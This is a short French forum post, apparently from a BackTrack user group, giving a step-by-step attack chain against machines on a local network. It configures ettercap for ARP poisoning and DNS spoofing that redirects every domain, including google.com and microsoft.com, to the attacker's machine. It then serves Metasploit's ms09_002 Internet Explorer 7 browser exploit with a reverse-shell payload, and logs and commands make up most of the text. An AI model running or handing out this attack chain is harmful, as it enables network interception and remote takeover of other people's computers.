bon comme d'hab je vais faire court smile si vous ne savez pas vous servir d'ettercap et demetasploit RTFM smile

On va commencer par créer un server dns local pour rediriger tout le traffic sur notre machine port 80

Code:

bt # kedit /usr/local/share/ettercap/etter.dns

* A 192.168.1.49

on lance notre spoof

Code:

bt ~ # ettercap -T -q -M arp:remote -P dns_spoof //


ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

eth0 -> 00:18:0B:B1:C0:00 192.168.1.49 255.255.255.0

Privileges dropped to UID 0 GID 0...

etter.dns:41 Unknown record type 192.168.1.
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Activating dns_spoof plugin...

on va maintenat lancer metasploit

bt framework3 # msfgui

select /exploits/windows/browser/ms09_002_memory_corruption.rb

choose payload : windows shell reverse tcp

port 80

run

Code:

13:56:22 - Initialized the Metasploit Framework GUI.
14:07:00 - ms09_002_memory_corruption [*] Launching exploit windows/browser/ms09_002_memory_corruption...
14:07:01 - ms09_002_memory_corruption [*] Handler binding to LHOST 0.0.0.0
14:07:01 - ms09_002_memory_corruption [*] Started reverse handler
14:07:01 - ms09_002_memory_corruption [*] Using URL: http://0.0.0.0:80/
14:07:01 - ms09_002_memory_corruption [*] Local IP: http://192.168.1.49:80/
14:07:01 - ms09_002_memory_corruption [*] Server started.
14:07:42 - ms09_002_memory_corruption [*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability

\o/ pwned

le spoof fonctionne dans ettercap smile

Code:

Activating dns_spoof plugin...


dns_spoof: [www.google.ch] spoofed to [192.168.1.49]
dns_spoof: [www.google.com] spoofed to [192.168.1.49]
dns_spoof: [urs.microsoft.com] spoofed to [192.168.1.49]
dns_spoof: [backtrack-fr.net] spoofed to [192.168.1.49]